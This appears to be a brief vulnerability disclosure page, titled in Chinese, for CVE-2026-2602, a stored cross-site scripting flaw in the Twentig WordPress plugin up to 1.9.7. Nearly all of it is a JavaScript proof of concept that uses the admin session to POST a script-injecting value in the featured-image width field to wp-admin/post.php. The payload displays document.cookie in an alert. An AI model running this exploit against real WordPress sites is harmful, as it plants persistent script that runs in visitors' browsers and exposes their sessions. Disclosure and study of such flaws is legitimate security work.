CVE-2026-2602 WordPress Twentig插件存储型XSS漏洞

/** * PoC for CVE-2026-2602 * Description: Stored XSS in Twentig WordPress Plugin <= 1.9.7 * Parameter: featuredImageSizeWidth */ // Target URL for updating post settings const targetUrl = 'http://target-site.com/wp-admin/post.php'; // Malicious payload to be injected const payload = '100"><script>alert(document.cookie);</script>'; // Simulate a POST request to update the post const formData = new FormData(); formData.append('post_ID', '123'); // Replace with valid Post ID formData.append('twentig_featured_image_size_width', payload); formData.append('action', 'editpost'); fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' // Requires authenticated session }).then(response => { console.log('Payload injected. Check the post page to trigger XSS.'); });